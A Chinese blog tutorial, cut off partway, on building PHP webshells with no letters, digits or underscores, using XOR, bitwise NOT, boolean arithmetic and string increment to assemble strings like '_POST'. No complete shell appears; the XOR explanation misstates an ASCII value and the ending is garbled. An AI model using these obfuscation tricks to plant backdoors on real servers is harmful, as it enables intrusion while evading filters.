PHP不包括字母,数字和下划线的webshell

前言

膜拜下phithon师傅
一些不包含数字和字母的webshell

另一位师傅
《记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)》

信安之路的微笑
php 不用字母,数字和下划线写 shell

知识铺垫

PHP中异或(^)概念

先上测试代码

<?php
    echo "A"^"?";
?>


代码对字符A?进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符

  • A的ASCII值为65,二进制则是01000001
  • ?的ASCII转值为65,二进制是00111111

异或二进制结果结果为10000000,对应的字符就是~.
非数字字母的PHP后门:

<?php
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P 
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
//.=是字符的连接
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //上面代码为一句
?>

PHP取反(~)概念

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,
比如:的utf-8编码为\xe5\x92\x8c,第三个字节和{2}的值为\x8c,其取反值为-141,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115115 就是 s 的 ASCII 值。因此

<?php
highlight_file(__FILE__);
$_="和";
echo (~($_{
   2}));
echo (~"\x8c"); //等同与上一句

?>

不用数字构造数字

  1. 利用PHP弱类型特效,true的值为1,则true+true=2
$_=('>'>'<')+('>'>'<')
print($_)

  1. 利用PHP未定义变量默认值为null,null=false=0,所以利用自增操作得到数字
<?php
$_++;
print($_);
?>

用字符串自增,获取字符

php文档
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 将把 $a 变成’AA’,而在 C 中,a = ‘Z’; a++; 将把 a 变成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要拿到一个变量值为a,通过自增操作即可获得a-z中所有字符。

在PHP中如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,再取这个字符串的第一个字母,就可以获得A了。

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A

webshell

php5和7的差异。

  • php5中assert是一个函数,我们可以通过 f = ′ a s s e r t ′ ; f=&#x27;assert&#x27;;
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值